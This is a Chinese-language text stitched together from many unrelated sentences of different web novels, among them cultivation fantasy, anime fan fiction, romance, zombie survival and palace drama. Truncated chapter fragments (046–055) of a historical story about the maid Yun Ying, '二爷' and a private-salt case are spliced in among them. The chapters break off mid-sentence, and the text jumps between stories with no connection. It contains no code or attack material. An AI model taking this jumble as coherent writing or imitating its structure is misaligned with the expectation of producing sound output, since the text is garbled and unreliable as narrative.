第一页是北海海军分部,映入眼帘的是一个蓝头发的青年,嘴角带着若有若无的微笑,非常的帅气,蓝伯特海军少校自然系水水果实,身体能变成液态的水,普通攻击免疫,局情报显示可能会海军六式。 人口拍卖会的正门口,虽然人口拍卖会经过一次破坏,但是并没有改变大家对贩卖人口的热情,所以关闭后第一次开张,人不紧没有减少,反而更加多了起来。 他们,有可能会被里面的那些剑利用剑气攻击,也有可能,会被里面的一些剑修攻击。 再这种煞气充盈活跃环境下,能够保持灵智的,本来就不可能是凡俗的生灵,更不可能是普通的动物。 罗辰的眼神有些凝重,看着那破损的大船改变原本航道,距离自己越来越远,却也没有追赶。 以他半圣巅峰的修为,其实是不足以支持这种手段的,不过有了近乎无尽的人皇之力,卓越才有足够的底气动用这等手段。 两句话完,黑衣人脸色痛苦,一口鲜血喷出,随后瞳孔中神采渐渐散去。 但即便是在有限的范围内,即基础工艺相当的基础上,三进制计算机的运算能力,起码也会是二进制的许多倍,更何况其具备真正的人工智能潜质这一点了。 接着便是混乱域以东,这里也赫然是一片庞大的区域,不过这里叫中立联盟,很明显,这里的宇宙并不参与恶魔域和破魔联盟的战争。不过这片区域也极为广袤,一点不比恶魔域或者破魔联盟差。 尽管这样,它还是在时间阵法里耗费了漫长的时间才能化为人形。 这样的设定,与金乌之前的设定有不同之处,金乌之前的设定,是抹掉了白话形象,不存在这个老主人身份,而白话设定是,重新有主人,但白话是过去的老主人,会有模糊的记忆,还能想起自己的出身。 这既是体修和一般修士最大的区别,当普通修士被体修近身,一般情况下根本没有翻盘的机会。 纳兰北燕眼看就要抓住对方,但是从黑袍人身后竟然射来几道火流,不偏不倚地全打在藤蔓上,随后顺着藤蔓顷刻间吞噬了纳兰北燕的整个身体。 而云空岚识海里的那块被魔气侵染的地方也正好成了他的蕴养之地。 “吕老头,这是什么人,你就敢带着他这么莽莽撞撞的进入拍卖行。这里可不是什么阿猫阿狗都能进的地方。”吕天目斜眼看了凌天和石昊辰一眼。 赖明不知道唐倩的打算,吃完那块熊肉后眼巴巴的看着唐倩,意思很明显,再给他吃点。 “大气改造是为了创造一个可供它生长的适宜环境,而在这样的环境之下,我们这些这颗星球上原生态产生的生物,人类也好,动物也罢,甚至是植物,都会发生变异,变成适合它吸收的养分。 如果不能的话,那么这一招便可以为现在的局面打下一个良好的基础。 白话盯着男子许多,男子大概不会记得几个月前自己搭载的乘客,更不会想起自己搭载而编造的谎言,其实根本不是下雨了回家收衣服,而是妻子发作了,要送医院分娩。 046 二爷生辰 县衙后宅被瑞珠“一手遮天”时,有关于私盐的案子,又有了许多新的进展。 先是贩卖私盐的盐场从上到下都被控制住了,再是阖村提取井盐供应走私的灵渠村百姓,也被全部收监。 因为这一起大案,县里闹哄哄的,甚至就连县衙门口,每日都熙熙攘攘,到处都是人声与车马声。 再有,私盐的源头虽被控制住了, 既然,他这么想要洛筝,愿意为着洛筝一再让步,甚至重若生命。 洛筝摇摇头,明明刚才对着江暮声,没有半点感觉……可是不明怎么,自从江暮声道出“七七”这个名字。 听得秦风这句话,熏儿赶紧关切的询问,让在场的所有人羡慕嫉妒恨。萧炎感觉到周围的气氛,干笑了一下,往嘴里丢了几颗丹药,盘坐在地上恢复斗气。 董仙灵对琼玉说,她们居住的山洞已经被摩瑶发现了,那里她们以后不能住了。 骆子峰想到城中闹鬼的事,就打算好好侦察一番。夜幕再次降临的时候,城内依然有灯火。 楚无忧暗暗呼了一口气,先前老夫人可是压根没说过这事,很显然此刻老夫人是故意说给夜澜辰听的。 一般错过了买票的点就很难再买到票,特别是靠近舞台的票更是难买,上次林杰杰在金陵的演唱会前几排一张三四千的门票都被炒到数万,但还是供不应求。 太白星系四大奇地,这雷火九山就在赤星之中,其余三大奇地分别在太白星系不同的星球之上。 巨石下面的联军忍者们虽然震惊于对手的身份,内心中也在微微打怵,但…对方是敌人,该进攻,还是得进攻。 范易阳觉得舒服以后,就在想究竟用什么办法能够把白凤飞的封印给解除了。 进去出来再重新拧,这样来来回回三次后,司凰就听到‘咔擦’一声,手铐开了。 “接下来咱们就等着局势明朗?”吃早饭的时候,众人围坐在餐桌上,托马斯问道。 韩一鸣正想请他给何三思助力,听了这话,到了口边的话又咽了回去。 另一边,圣天使米勒一直飞出了数十公里的距离,方才在一个无人的山林当中降落下去。 司凰一下水就由浅水区游到了深水区,灵敏得让人觉得她根本就没用力,水流就已经推动她行动。 “具体的没细说,说是最多两天就到,等到了,会有人联系我们!”夜狐说道。 怎想,刚脱第一具时,到半路它就停了下来,似乎发现了什么一样。它一松口,就将尸体落在了地上,然后一边往这边靠近一边动着鼻子发挥它敏锐的嗅觉。 叶宋愣了愣。从她的身上,仿佛看到自己当初的影子。她现如今已然没了当初的这股心性,但就是不知远在皇宫的苏若清是否仍旧执着于这样的心性。 再凝聚出一口金气,我就可以达到黄大仙说的五气朝元的境界,五行之气生生不息,实力要暴涨数倍不止,最关键的是,现在的我,已经可以自由掌控鬼将,甚至是鬼王级别的灵魂在我的身上了。 那种情况下,他会给出血事出有因,可是现在能够因为这个理由去要他一碗血吗? 此时徐三徐四两兄弟一个面色沉稳,一个面色张扬的看着张楚岚和刘灵两人,而冯宝宝自然是蹲在旁边看着鱼缸里的鱼了。 果然,刘沫沫听说自己发胖了,顿时就开始低头看自己的身子,看自己到胳膊,似乎是在验证祁明的话是不是真的。 047 修罗场啊 丁姑姑见到几个盛装打扮的姑娘,眉眼间都溢出笑意来。 这花儿似的娇人儿,连她这老婆子看了都喜欢,她就不信二爷是个铁石心肠,能当真对这些姑娘无动于衷。 丁姑姑侧首看向二爷,就见二爷侧脸线条棱角分明,眉宇间淡漠无情。 他看见站在花厅前的几个姑娘,嗅着空气中浓郁的脂粉香气,似乎不耐烦的蹙了 宁仟知道这件事情根本不怪沈成韧,因为沈成韧能做的真的都已经做了,只不过是许琳一直不愿意接受结果,沈成韧也没有办法呀。 沈成韧和宁仟现在还天真地想着用真诚、友好的态度去说服许琳,如果他们知道许琳想要破釜沉舟的想法之后,估计就不会觉得还能够和许琳坦诚交流了吧。 往酒店走的时候正好赶上上班高峰期,许云夕像疯了一样开着车子横冲直撞,简直是现实版的‘速度与激情’。 可是陆泽华才刚迈出第一步的时候,陆肖璇立马就将自己的手枪举起来,而后对准了纪苇苇的额头。只要她抠下扳机,纪苇苇肯定会立马没命的。 赵晚晚撇撇嘴,不知道该如何答话,突然李元昊推门而入,将萧多罗和赵晚晚拉了起来。对着卫慕太后行了一个宫礼。 窗外的月光淡淡的洒进来,蓝向庭抬头看到一轮明月。不知道Z市的月亮是否依旧明亮,那个说好跟他分一半月亮的人,此刻却不在自己身边。 这个大陆一样很复杂,首先天使最强,号称至高神,主要在大陆的西方和北方。 “好了,神龙,现在该做正事了。”意外之财得到了,也是该做正事的时候了,我严肃的说道。 夜里轮流守夜,出现了两拨丧尸,数量不多,只有十几只,足够他们应付。 叶寒没有理会祝融,来这个大型对抗任务里,他还有件要事儿要做。 秦丛现在没法正视这些植物,想到这些东西跟丧尸一样有晶核,就觉得这植物的生命力肯定比自己想象的要顽强。 时少陵还没睡,但是他的脑海里出现了此刻沐知音睡梦之中的场景。 第二张传音符是发给唐师叔的,详细的讲述了今天发生的事情和大家目前所在的位置,并告知他大家准备去魔国飞舟消失的地方探一探。 路遥翻了个白眼,这再世绿茶可真会胡搅蛮缠,也不看看顾琮远心里哪里有她的一亩三分地? 院内众人神情各异,明知道苏菡一在吓唬人,可还是觉得被恶心到了。 全班点名批评的学生里,倒数第一是宁可倾,倒数第二就是千音音了。 颜瑾脸上顿时浮起一丝笑意,心里溢出一阵想否认都否认不来的蜜意。 陈夕也有一点不明白,不过他猜想这个笑面吸血鬼不会那么好心,看他的神情就是有点阴险的模样,绝对没有安什么好心。 “怎么了?这汤凉了就不好喝了。”芷兰有些纳闷地看着画心,只觉她的脸色有些不大对劲。 一次出行,他们依然一无所获,心情也由原来的兴奋感变成了现在的颓败感。 “张队长,你有事就说吧,我老板可是很厉害的,而且如果我们真帮不上忙的话,自然也会说出来,不会逞强的。”牛鼻子劝道。 大概是觉得已经在酒店门口摆足了面子,石井太郎这才下车,跟他同车除了他的助手,还有两个就是那种资料显示很普通的人,也就是他们,被李缜勋认为是比那些忍者、武士更厉害的人物。 048 出事 二爷确实是有几分透过现象看本质的能耐在的,但这么诛心的事,云莺会承认么? 她是嫌命长了,才会承认这件事。 当下云莺就义正严词说,“那肯定不是啊。”她打开盒子,露出里边的书籍。“奴婢送您这本书,是奴婢好不容易寻来的,希望能对二爷有点用。” 二爷看着盒子里破破烂烂的书籍,又看看云莺,眸 而这位神秘人物出现在天空中,眼神看向岳皇待过的地方,凝视了片刻,随即消逝而去。 “你是什么人?!胆敢破坏我的好事儿”魔物见到自己的攻击竟然被瓦解,扭过身体有些警惕的看着眼前这个邋遢的青年。 里面的李弘基真气瞬间波动起来,忍不住回头看了一眼。但是,他看到的是双冰冷的眼睛。一双无情的眼睛。一双淡淡地隐藏着刻骨仇恨的眼睛。 禄东赞和左右侍卫又怎能干瞅着?顿时一拥而上,跟三人战成一团。 眼前这东方公子不论是相貌还是实力,都非常出色,让她们都有着动心。 照说,楚易都是已经进入那火山中那么久了,应该早就出来了才是,可是,楚易却是没有出来,而是在那火山中,搞出了非常大的动静来。 “哥,这帮人太特么不是东西,你帮他们挣钱的时候,他们恨不得跪地上管你叫爹,现在你家里出事了,你看看他们一个个那操性!”大刚喝了口矿泉水,愤愤不平的说道。 不过,解除婚约毕竟是以后的事情,在如今顶着这等身份的时候,她并不会让南剑皇难堪什么,能维护南剑皇的地方,她也不会故意无视什么。做到,既不主动示好,却也绝对不会故意僵化关系的程度。 众人见到陈-云竟然正面接住刘欢的全力一击,虽然倒退了几步,但也震惊不已。 二位大长老和花泓族长对师宝的话,原本很是不信,当五兵掌天盾出现时,他们惊呆了,对这个白袍少年拥有此宝非常不适应,可事实摆在面前,不能不承认。 那些开了粮铺的商人怕之后有所变动,一个个都把手里的粮食都捏得紧紧的,和百姓说粮食已经卖光了。 赵晓芸和张明珠一唱一和,气氛活跃,而后方的梓欣,眼里冷意渐渐凝结。 不过,没有再听到白薇慌张的疾步声,白楠也就没有再劝白薇不要来。 叶霜回去后就直接进屋里修炼,同房的人没有打扰她,好奇地看了眼她腰间的灵兽储物袋,原本想要问问,见人没有交流的意思也就淡了。 看完这封苏林林匆忙所写的便条,绿萝终于明白,人与人差距怎么这么大呢? 于是,得到消息的人,带着‘宁可信其有不可信其无’的念头,不停地在寻找慕凡的踪迹。 只见一道白光闪过后,慕凡和爱丽丝两人瞬间就消失在了四门万里和路西法两人的面前。 这迷你骷髅,本是天意外所得,也是因为它,才能进入到圣域当中。 “把王家要出手一批古董的消息,透露给陈汉,再问问他有没有什么路子,最好让他主导这件事情。”林震吩咐道。 “……黎家的香品,哪会有问题?”阮钰爽朗地一笑,“本官也是例行公事,还望黎公子见谅。”如期截获黎家真正的香丸样品,阮钰心情格外的好。 四天后,将近八月中旬,气候已经变凉的时候,莫璃等人总算来到了乞颜部。 049 差点丧命 花厅内静悄悄的,一时间就连呼吸声都微不可闻。 但即便这样,似乎也无济于事。 依旧有人冲着这个方向奔过来了,那些人粗暴的推开附近的房门,一间间搜查里边是否有人。 花厅内的几人如同惊弓之鸟,俱都瑟瑟发抖起来,云莺似乎还听到了咯吱咯吱的磨牙声。 她身侧的禾穗也惊得手脚发凉,她便愈发 “我看到的是她拉扯季莹到了围墙边,将她硬生生推了下去。”我冷声说道。 炼金术的本质就是分解和融和,将万物分解为最基本的存在,随后融合成想要的东西,而这一切的前提首先是对融合的目标有所了解,毫无疑问他并不了解蜜宝虫的灵魂组成。 实际上,在决定了要走斩道这条路之后,猴子曾经偷偷出关过一次。 “那你刚才干嘛非要那样说,搞得我像是真挖了人家墙角似的。”楚云峰一脸苦笑。 要知道一点,虫皇大帝在莽荒大世界是无敌的,吞天部落虽然继承了吞天大帝的血脉,但是他们到底不是吞天大帝本人,面对虫皇大帝凭什么做到自保,凭什么结仇的虫皇大帝没有趁机灭掉他们? 我只是不悲伤、不害怕了而已。可我看到这种事情,不会觉得好受。 夏凡揉了揉眼睛,用鼻子去嗅探,结果一无所获,就好像界墙这种事物,从来没有存在过一样,蜻蜓毫不费力就去到了河的彼岸,癞蛤蟆聒噪的叫声,同样自对岸传来。 再加上掌握时间法则善于趋利避害,因此太一族人虽然是移动的宝山但是死亡率却不高,但是这一次他们分散在寂灭魔界各地的族人却全部被找了出来。 黄山嘿嘿一笑,蓦然间对眼前这个将自己带上崛起之路的男人更加敬佩。 苏克拉底之杖发出强烈的白光启动了魔法阵,整个法阵仿佛动了起来疯狂的吸取着周围的各种魔法元素。当光芒达到最强烈的瞬间,魔法阵上的我们消失了。 “嘿,放心吧,哥你还不了解嘛,有分寸!”叶龙咧嘴笑了笑,随即就出了办公室。 而这时,叶飞突然探过身子,有些霸道的将澹台子衿搂进怀里,嘴唇就这么猝不及防的贴上了,来个忘情的深吻。 “绝了!简直绝了!”裁判席上,一位头发花白精神矍铄的老者大声赞叹道。 即便是冯跃,现在也对东南大学能够获胜抱着嗤之以鼻的态度,毕竟这么多场比赛下来,他们都看得出来只有杜君和叶晨扛着的东南大学绝地不可能是自己这边人的对手的。 剑晨定定看了他一会,话题终于转回那疑似洛寒的中年男人身上。 只有平次的脸上、双手上,在不停地往下滴着液体。有白色的,也有红色的。 而后,两人大马金刀的坐在正席,陈天元许是被叶飞晾的面子有些挂不住,情绪不是很高涨。 “有件任务要安排你,你先过来,对了,穿的体面一点,等会还要参加一个宴会!”叶龙嘱托道。 以叶飞的秉性自然是心安理得的给自己放假,睡个懒觉放松放松。 “房间里是暖的,菜没凉。”云墨回答,其实心里有点虚,臣规在这一点上都没变。 夜狼也是面色铁青,他下意识伸手,一把握住了后背的大刀,紧张的盯着四周。 赵章靠在榻上,仿佛脑子一下子清醒了起来。对于前线的战事,也能洞悉到毫发之间。可惜,这时候发现连他都觉得已经晚了。 050 查明 瑞珠要罚,丁姑姑觉得自己也要罚。 毕竟瑞珠是奉她之命管家,瑞珠错了她也要担责;二来,瑞珠管家,她也要监管,并不是说她就大撒手,把所有事情都交给瑞珠了。 她没有事前发现危险,导致二爷差点被人谋害,这是她最大的罪。如此,她不得不罚。 丁姑姑在二爷面前祈罪,二爷却只道:“姑姑的事儿稍后再 沉甸甸的一串黑葡萄,躺在白玉瓷的玉盘之中。一颗颗珠圆玉润,晶光透亮。在阳光的普照之下,似乎连里面的果肉都得瞧得清楚。 说完,她转身,只是刚转身,手臂被扯住,她转过头,对上他那道幽幽沉沉的眼潭。 唐春来是以百米冲刺的速度赶过来的,进门就光顾着喘粗气了,连话都说不出来。他现在就恨不得一闭眼就到七月份算了,那时候王妃已经生产,他就不用这样担惊受怕的,随时预备着被拎过来诊脉保胎啥的。 也许,韩东阳知道月倾城的能力,他还要反过来向月倾城求得看诊的机会呢。 若是将断肠崖有狐妖之事传出去,只怕皇都的人都会造成恐慌。为了避免不必要的损失,某些事情必须瞒着百姓。 席夏夜不理苏楠那神经质的模样,打开车内的音乐播放器,然后便启动了车子。 淑妃当然责无旁贷,事实上,在她受封为淑妃之后,便已经开始在心里暗暗盘算筹谋这件事了。 明珠笑了起来:“你怎么知道我不敢?”轻轻一挥手,示意郑嬷嬷等人退下去。 他张开双手,全身捆绑着他的锁链哗啦啦啦的直响,仿佛要完全碎裂开来一样。 “别多做计较啦,你我只要还能活得一人,本派便会有希望!”鸿帮主运足仙力,将马副帮主推至来时方向,而自己也因排斥之力,被击退到了相反方向。 “啪”身后的打手,拎着一个啤酒瓶子就敲在我的后脑勺上。痛!但是我不能倒。我要是反抗的话,就算能逃出去,也不可能在深入了。我必须在最短的时间内,让他知道我还是有利用价值的。 “不要,不要,别这样,李艺,我乖乖的跟着你走还不可以吗!我发誓,我肯定不会跑了。”林可儿高高的举起手说到。 老吴赶紧起身,拄着拐杖跟我说道:“跟我过来说吧,在这里别吵了别的老师。”我看他是想趁早把我搞定吧,要不我能说出什么不方便别人听的话来。 陶静伸出手就在我的腰后狠狠拧了一把,害得我龇着牙,却不敢喊出声来。 白慕雪嘟起了嘴唇,“萧子谦,那我就先走了,再见,话说我都好累了,好想休息呀!”说完白慕雪也上了电梯。 想着这样的可能性极大,于是乎,无爱对地球那个强大的男人的不喜更深了。 天戒居士惋惜的道,看来这件事使得仙灵谷,原本有两位合体后期修为高手的实力,马上就要打下一个层次,甚至是就此改写了,这次不可以不说,对仙灵谷是个莫大的损失。 满墙,全部都是孟平的照片,各式各样的,有走在校园里的,有在医务室的,有半倚在窗台边上向外望的,有的是孟平摆了造型让人拍摄的,更多的,应该都是偷拍的。 “有了这个真是方便多了,就算那紫翼剑齿虎皇把紫玄灵玉了藏起来,我也能够根据这测灵玉的指引找到。”林逍遥满意的说道。 051 云莺管家 云莺回去休息了,但因为心中有事儿挂念,她睡得就不沉。 外边刚有丫鬟走动,她就醒过来了。 往门口看一眼沙漏,也不过刚刚到了午膳时间。 禾穗听到屋里的动静,快走几步进来说:“奴婢刚拿了午膳回来,姑娘趁热用一些吧。” 云莺坐在床上发了一会儿呆,等到混沌的精神开始苏醒,她才摇摇头说: 他这时恨恨地望了手足无措的长孙晟一眼。心道自己孙子怎么会莫明其妙出来解答大食使者的难题?最后还被宣上殿来面圣了?恐怕多半是这长孙晟煽动的结果。这家伙也太可恨了。 床的晃动频率低了好多,我挣扎着想起来,却在理拉德带着寒意的瞪视下打消了这个念头。 “不敢,你的皮不是一般的厚,我怕我的牙碎了。”杨乐凡连连摆手道。 太后看着翠梅那个样子,脸上骇人的模样,可是眼中却有着善良,心中微微一叹,点了点头,让刚刚在门口等候的太医上前去给翠梅把脉。 一道胳膊粗细的紫色闷雷贴着李大牛的脖子直直劈到了他右半身上,神奇的是李大牛并没有感到任何痛感。 这八阿哥的老师在给家人的心中无意中提及到了十三阿哥,说十三阿哥深的皇上的宠爱,前途无量,而八阿哥将此信转交给了十四阿哥,无非是告诉他要开始提防十三阿哥了。 “它的爪子太强硬了,如果拿来换取丹药卖给炼器修者,一定能卖出一个好价钱!”大师兄喜道。 李秀宁听罢浅浅一笑,露出妩媚之的笑容,然后一双玉指便开始拔动琴弦。一阵阵悦耳的琴声便传了出来。 龙岩在一旁听到此处也不禁抬头多看了李凝两眼,要说这数年发生的事情简直比龙岩一生经历的还要多。想当初这个只是杂物处的弟子在自家面前地位相差甚远,转瞬之家居然一跃成了自己的师叔。 “爷来了!”门外传来嬷嬷的一声叫唤,明心赶紧在外屋起身为胤禛开了门,苏荔被证实有了身孕后,乌喇那拉氏和胤禛便不许苏荔屋外不放人的做法了,苏荔也就只好答应。 这座山洞有多深?再继续深入会不会遇到更加强大的危险?龙飞目前没有时间考虑,他暂时最首要的目标,就是恢复实力,而后,在进一步去探索。 除了击杀敌对阵营玩家,攻陷敌对阵营领地外,林风三天来并未放过同一阵营的玩家。 为何大脑中这般清醒?为何,我还能感受到清风的不羁、明月的皎洁、红尘的余香? 从指挥车到直升飞机的起降场隔着一座山坡,是在山坡下方的平地上,直线距离大概有五十多米,山坡的坡度也不是很倾斜,不过长满了荒草和杂树。如果沿着路绕下去的话,估计有一百多米。 杨浩不禁又回忆起在秦始皇陵里的诸多细节:在进入“妖囫囵”之前,一切似乎都很顺利,都在掌控之中。可是自从在那个四方台上休息了一缩后,一切似乎都发生了微妙的变化。那么这种变化究竟从何而来呢? 却说杨浩他们率领第二梯队出发,由于遭遇到火星尘暴,被困在了一座山洞里,大本营在得知了他们的情况后,又派出了钟美生和陈献忠驾驶着斑毹赶去增援他们,这就是前面已经叙述过了的事,这里就不再一一赘述。 052 尚家冤案 神医的到来,让丁姑姑几人激动的眼冒泪花,求生的欲望也愈发强烈了。 然而,这位姚神医看到骨瘦伶仃,嘴唇发紫,眼圈深重的几个病号,眉头却忍不住跳了跳。 尽管来时已经知道了这几个病人的大体情况,也知道等他到来,几人怕是仅剩下一口气,可此时看到几人跟活死人一样吊着命,姚神医心中依旧忍不住惊了惊。 “好了,到地球跟我们过来,搭顺风车啦!”陌凡一笑,随后挥了挥手说道。 “这种可能性应该没有吧!”李景桓忍不住吞了口吐沫。在这之前,他还真的没有想过这点。现在听了来恒这么一分析,就有些紧张了。 然后,距离九龙椅最近的两名天将走了过来,弯腰,从后往前拖住了卷帘的双臂,降魔杖压在卷帘的身上,被一起拖着,拉出了大殿。 就在这时,邪教徒叠成的肉山内传出一股强烈的波动,上百号邪教徒一下子就被掀飞了出去。 “陶将军,奉殿下之命,此人企图刺探军机,不能离开大营。”为首的一个卫士,面色平静,实际上,双目中闪烁着不屑之色,不仅仅是对秦受的不屑,也是对陶志的不屑。 看着身边众人一个个消失,孙悟空有些疑惑陌神为什么要单独把他留下。 其实有时候墨影自己都很纠结,纠结于每天也不知道脑瓜子里想的都是些什么乱七八糟的。 墨影不动声色的注视着一切,心中没有过丝毫的害怕,想无药山中都闯过,这又算的了什么? 他这个时候,甚至推断出,自己的身后是一只强大的军队,甚至是李靖亲自领军都说不定。想到这里,他顿时感觉到自己的河内也不安全了。 “怎么,人是你推荐的,现在你却不相信她?”嘉靖帝一脸研究的看着他。 但真正关键的问题在于,步入开窍境,修行已经不单纯是一直埋头静修勤修就可以的了。 像是上一批,一共一百多名的弟子,他预先圈定了十个,但到最后,留在自己门下的也就是广元、广和、广明、广清这四人而已。 “走!”史崔克风风火火的来到了中控室,却看到了实时画面中的一片荒郊野岭。 无精打采,有气无力,找不到状态……坐在公交车上无聊的看窗外,看着看着,就到了校门口。 这个位置并不低于全军总元帅,而是和全军总元帅平级,唯一的区别就是,全军总元帅可以直接调动世界政府的各种力量,而羽夜这个全军总大将没有那么大的权利。 “铜锣湾是向家的地盘!”黄夕照眼神焕出一丝神采,知道是谁干的,下面就好办了。 骞建同带来的是羽林骑兵,那是一支被当成王牌部队训练的军队,自建军的那一刻起也没有少参与作战,对付全盛时期的石碣赵国或许不敢托大,可是对付压根就瞧不起的阿三则是信心十足。 “主人没有阻拦你们的去留的,所以你们也给我安静一点,否则……”霸嚣霸气十足地说道,那强大的气势散发出来,让所有魔兽差点跪下地上,匍匐不起。 桓温这支舰队其实已经是过了八公山的位置,之前能够看到江边的情况,那是慌慌张张要布防的晋军。 姬无镜重新合上眼睛,也不再去看顾见骊。他听见顾见骊起身,眯着眼睛去看。顾见骊朝西间走去,她靠着墙,每走个两三步,就停下来,双手扶住墙壁歇一会儿再继续。 053 他们该的 再有那跳出来告状的尚家后人,他从身份血脉上来说,是尚家的后人,可若遍查尚家族谱,却根本查不到这个人。 “那他究竟是从哪里来的?”云莺问,“难不成这人是外室子?” 二爷意味深长的看了云莺一眼,她说起外室子眉头都不动一下。 二爷道:“不是外室子,是早先那位尚家大少爷的妾生的孩子。” 她突然向着他们伸出了手,片刻之后,除了那几个有警官证的人以外,其他的人全部都被掐断了喉咙,停止了呼吸。 “血使我知道,没想到被你干掉了,你应该有同伴一起的吧?”影998代有深意的看了顾星宝一眼。 但是这并不妨碍他对顾星宝愤恨的心理,其实这家伙已经把对古风那种追而打不着的愤怒情绪全部都转移到了顾星宝的身上。 “怎么样可有发现?”裴旻以得李隆基的准许,只要一切属实,吐蕃涉入此事,有权一并擒拿。现在他们什么都不缺,只差人赃并获。 塔米克回到了自己房间松了口气,露出一丝微笑。不管怎么说,白王要带他去见地狱皇,那就让他在去人界的可能性大增。 “怎么样现在你觉得如果我对你有企图你能抵抗的了么?”金眼双手背在身后,淡笑着看着蒂亚说道。 “诸叔且宽心,等我与世子爷商议看如何救活雕轩,这可是世子爷开的第一家铺子,无论是我还是世子爷,都不会让它关门的。”司徒娇临走之前如此安抚诸掌柜。 加奈跟帕特缇对两界的影响岂是他们不到百年的执政生涯所能抹除的。 司徒娇身边的丫环几乎每一个都懂些医,当然懂武的还是少了些,不过求个来放在周雅琪身边总还是会有的。 所谓天地不仁,以万物为刍狗。这天地无情,雨又岂是乞求的来的? 这一战过后,苏辰已经彻底征服了这些联盟军团‘精’锐士兵的心,而他的守望英雄称号也得到真正的认可。 懊恼的一拍脑袋,郭嵩焘这才打开了李泰国交给自己的购船合同细看,结果和太平军的合同一对比,李泰国的真面目也就彻底暴露无遗。 慈安这么做不过是垂死挣扎,热河兵权尽在顾命八大臣手中,顾命大臣集团真想动粗想捏死慈安简直跟捏死一只蚂蚁一样,然而就在载垣等人准备撕破脸皮强行抓人时,慈禧却又跳了出来,当着顾命八大臣的面力劝慈安让步。 “怪我咯,你连我的声音都没听出来?”姜涛斜眼儿一翻,丝毫不搭理这茬儿。。 外围那些大圣修为的年轻至尊们还有各族强者忍不住就眼神一缩,何等强大的神念意志?单凭目光意志就可以洞破天威雷劫,这是让在场的年轻至尊都忌惮的威能。 “人道应天而敬神!却从来不需要神来统领,更不用神来牧养众生!”洪易一言出为天下法,隐约之中人道再无神祗可以现世的未来就在众人的眼前显露。 “你们不是说我是顶级掠食者吗,那就进美国股市转转。”他全资购入苹果股票,不管多少,照单全吸。 下一刻,渗人的咀嚼声从邪异暗幽裂缝的那一头传出,等咀嚼声结束之后,先后两只布满暗幽鳞片的恐怖巨爪探出,抓住邪异暗幽裂缝的两边,猛地发力,奋力往两边扩大,一个硕大狰狞的凶兽头颅艰难从中钻了出来。 054 送别 之后都由云莺管家的事情,似乎就这么敲定下来。 与之一通敲定下来的,还有尚家的冤案平反,尚家的财产、宅子等,解封还回尚家子孙手中这一决定。 二爷英明神武,还往上递了折子,请求让流放到西北的尚家人返回原籍。当然,与之一同送出去的,还有范县丞等人的犯罪卷宗。 范县丞虽然被判了死刑,但并不 再次挥剑杀戮,一边拿出了药水,这是祸水的高级力量药水,短时间提升120%的力量,他很久没有用了,现在已经到了关键时刻。 巨大的血手瞬间颤动开来,直接手掌大开,夹杂着滔天的红色灵气竖抓而下。所过之处,红芒闪动,就连空气都被抓的微微弯曲。 他显然,也是能够从中有所察觉,天人至神境,还有特殊非凡之物在身,这自不是寻常人所能够相比的。 绝境中,男人的声音显得如此美好,温莎扬起脖颈看着身旁的凯洛特,伸出了自己的手,精神放松之下,眼前一黑便倒向了一侧。 其他陆家子弟们,都很好奇,到底是什么原因,让这位家主竞争着,还有三位执事,都变了脸色? 过了半天,那尘烟褪去。此时此刻,就在石像倒塌的位置,存在着一个长约数米的石块,而在那石块之上,便是摆放着几样高阶灵宝!形态各异。 一股难以言喻的恶心、血腥冲击着自己的味蕾,虫子在口中的蠕动令自己作呕,却又吐不出,就这样渐渐的意识越来越模糊,直至眼前一片漆黑。 这一次说话的是查尔斯,作为磐石半巨人的他脾气倒是暴躁,在青树里面也是激进派的,不是说他不好,青树也需要这种浑身都充满干劲与激情的人。 南宫奚与秦云话家常,身为南宫世家二长老,他见多识广,天南海北地高谈阔论,让秦云感到很长见识,不禁对这位二长老颇为钦佩。 欢迎凯洛特的队伍人数有近两百,这么多人跟着可没什么意思,凯洛特最后只是让几位队长留下来,前往青树镇的镇中心,也就是他的专属宅邸。 东瀛的花草树木都是一样的很好看,天空飞行的朱雀神鸟仿佛像是昆仑山灵兽五彩鸟。身上还散发着时令花的香气。 可惜,余娇前世跟着爷爷虽是住在山中,但不事农桑,对于农作物种植不甚了解,若早知会魂穿古代,她最该去学农林专业的,这样就能将袁爷爷的杂交水稻在太晏发扬光大,提高农业生产,解放提高太晏的生产力。 自从白绝将和风的情报带给宇智波斑后,他就被斑指派特殊任务,秘密监视和风一举一动。 “尼玛这回可热闹了。”罗碧骂骂咧咧,鸷鸟兽约有五六只,数量不多,但其有空中优势,五六只就够军团作战队忌惮的。 言若海坐在会议室内,听着几个股东们已经吵成了一团,十分的头痛。 余娇钻进余启蛰撑起的帘帐内,不由想起之前主动大胆的举动,脸颊有些微热。 四季春常在,心灵的伤口渐渐恢复了不少。花想容渐渐忘却了这件事。下一步,她只要为师父报仇,为师父做一切事情,无愧于心。她就已经完成了自己的心愿了。 虽然是狮子大张口可也比请镖行要便宜许多,陈志清只能忍痛掏了银子,但是路上的安全并没有了保障,只能尽量在白天赶路,且要走官道,这样一来,路上花费的时间就要更多了。 055虽迟但到 送别了丁姑姑,云莺转身就准备回县衙去。 二爷却突然开口问,“你去哪里?” 这话惹得云莺想翻白眼,她一个管事丫鬟,她能去哪里,她还不是要回后院。 云莺就说:“奴婢回去理事,眼瞅着要过年了,杂事多了起来。奴婢现在就开始做,到时候不至于慌了手脚。” 又说:“二爷,既然到了云归县,咱 好在,关于痕检与法医方面的进展,于袁俩早先便已经知道了,他们能说的新内容,也无非是确定了工地上的血迹分别为三人所有,其中一人确定为受害者,而痰斑也分析完毕,且惊喜的从中检得DNA的存在罢了。 这是个野兽般的男人,用自己的实力和意志换来了所有人的认同。 这山中空气新鲜,气候宜人,是个修身养性的好地方,而且因为人烟稀少的原因,空气之中的灵气也比城市里要多一些,如果可能,留在这里修炼比别的地方要好得多。 对于卡普和青雉这样的人,奴隶贩卖自然是无法接受的,但讽刺的是,偏偏这个行业是受到世界政府认可的,只要你上供足够的钱,那么就属于合法经营。 李白仰头,一口气喝光杯中的清茶,然后拎过茶壶,又给自己倒了一杯。看他这动作的气势,哪像是品茶,分明就是在喝酒。 “你的意思是林少青全家是在火中丧生的,死后没有人认出他们谁是谁对吗?”傻妞问道。 还是原来的装饰,结构还是一样的,看着房间的一切,沈凌菲忍不住的想要掉眼泪,这刚哭的眼睛现在还是微微的有些发红。 刘挺摇了摇头,说道:“这个倒不着急,光是这一片地图,基本上没什么作用,我们先回去吧。”刘挺说道。 在他的面前不是别人,正是进入时乐灵魂空间后回来的君天凌、皓月、玉玲珑、白鬼、童婳五人。 然后李炎大摇大摆的就往中间的那栋办公楼走去,果然门口进进出出的鬼差们,看到李炎也都没在意,任由他径直走了进去。 虽然他不是做生意的,但他还是窃取了霍御霆电脑上的所有资料。 